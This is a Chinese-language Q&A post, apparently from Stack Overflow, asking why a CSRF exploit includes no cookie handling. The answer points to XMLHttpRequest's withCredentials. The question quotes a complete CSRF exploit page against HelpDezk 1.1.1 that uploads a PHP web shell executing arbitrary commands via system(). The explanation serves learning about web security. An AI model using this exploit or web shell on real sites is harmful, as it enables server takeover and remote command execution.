在CSRF的定义中,我们有
跨站点请求伪造(CSRF)是一种迫使最终用户的攻击 在他们所在的Web应用程序上执行不需要的操作 目前已通过身份验证。
这意味着它适用于已经过身份验证的用户,该用户已经拥有用于登录用户面板的有效cookie。 但在我所见过的每一个csrf漏洞利用中都没有cookie部分或相关内容; 例如,这个csrf漏洞利用:
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.228.186/helpdezk-1.1.1/admin/logos/upload2", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1883328331133778598415248998");
xhr.withCredentials = true;
var body = "-----------------------------1883328331133778598415248998\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"index.php\"\r\n" +
"Content-Type: text/php\r\n" +
"\r\n" +
"\x3c?php\n" +
"\n" +
"if(isset($_REQUEST[\'cmd\'])){\n" +
" echo \"\x3cpre\x3e\";\n" +
" $cmd = ($_REQUEST[\'cmd\']);\n" +
" system($cmd);\n" +
" echo \"\x3c/pre\x3e\";\n" +
" die;\n" +
"}\n" +
"\n" +
"?\x3e\r\n" +
"-----------------------------1883328331133778598415248998--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
该漏洞利用ajax发布帖子请求,但我们知道它也需要设置一个cookie。我知道它在用户端执行,但此请求不会从浏览器存储调用任何cookie。怎么可能? 感谢
答案 0 :(得分:1)
该漏洞使用ajax发布帖子请求,但我们知道它也需要设置一个cookie
它没有,也没有。
但此请求不会调用浏览器存储中的任何Cookie
你错了。确实如此。看看这个:
xhr.withCredentials = true;
和the docs:
XMLHttpRequest.withCredentials属性是一个布尔值,指示是否应使用Cookie ,授权标头或TLS客户端证书等凭据进行跨站点访问控制请求。设置withCredentials对同站点请求没有影响。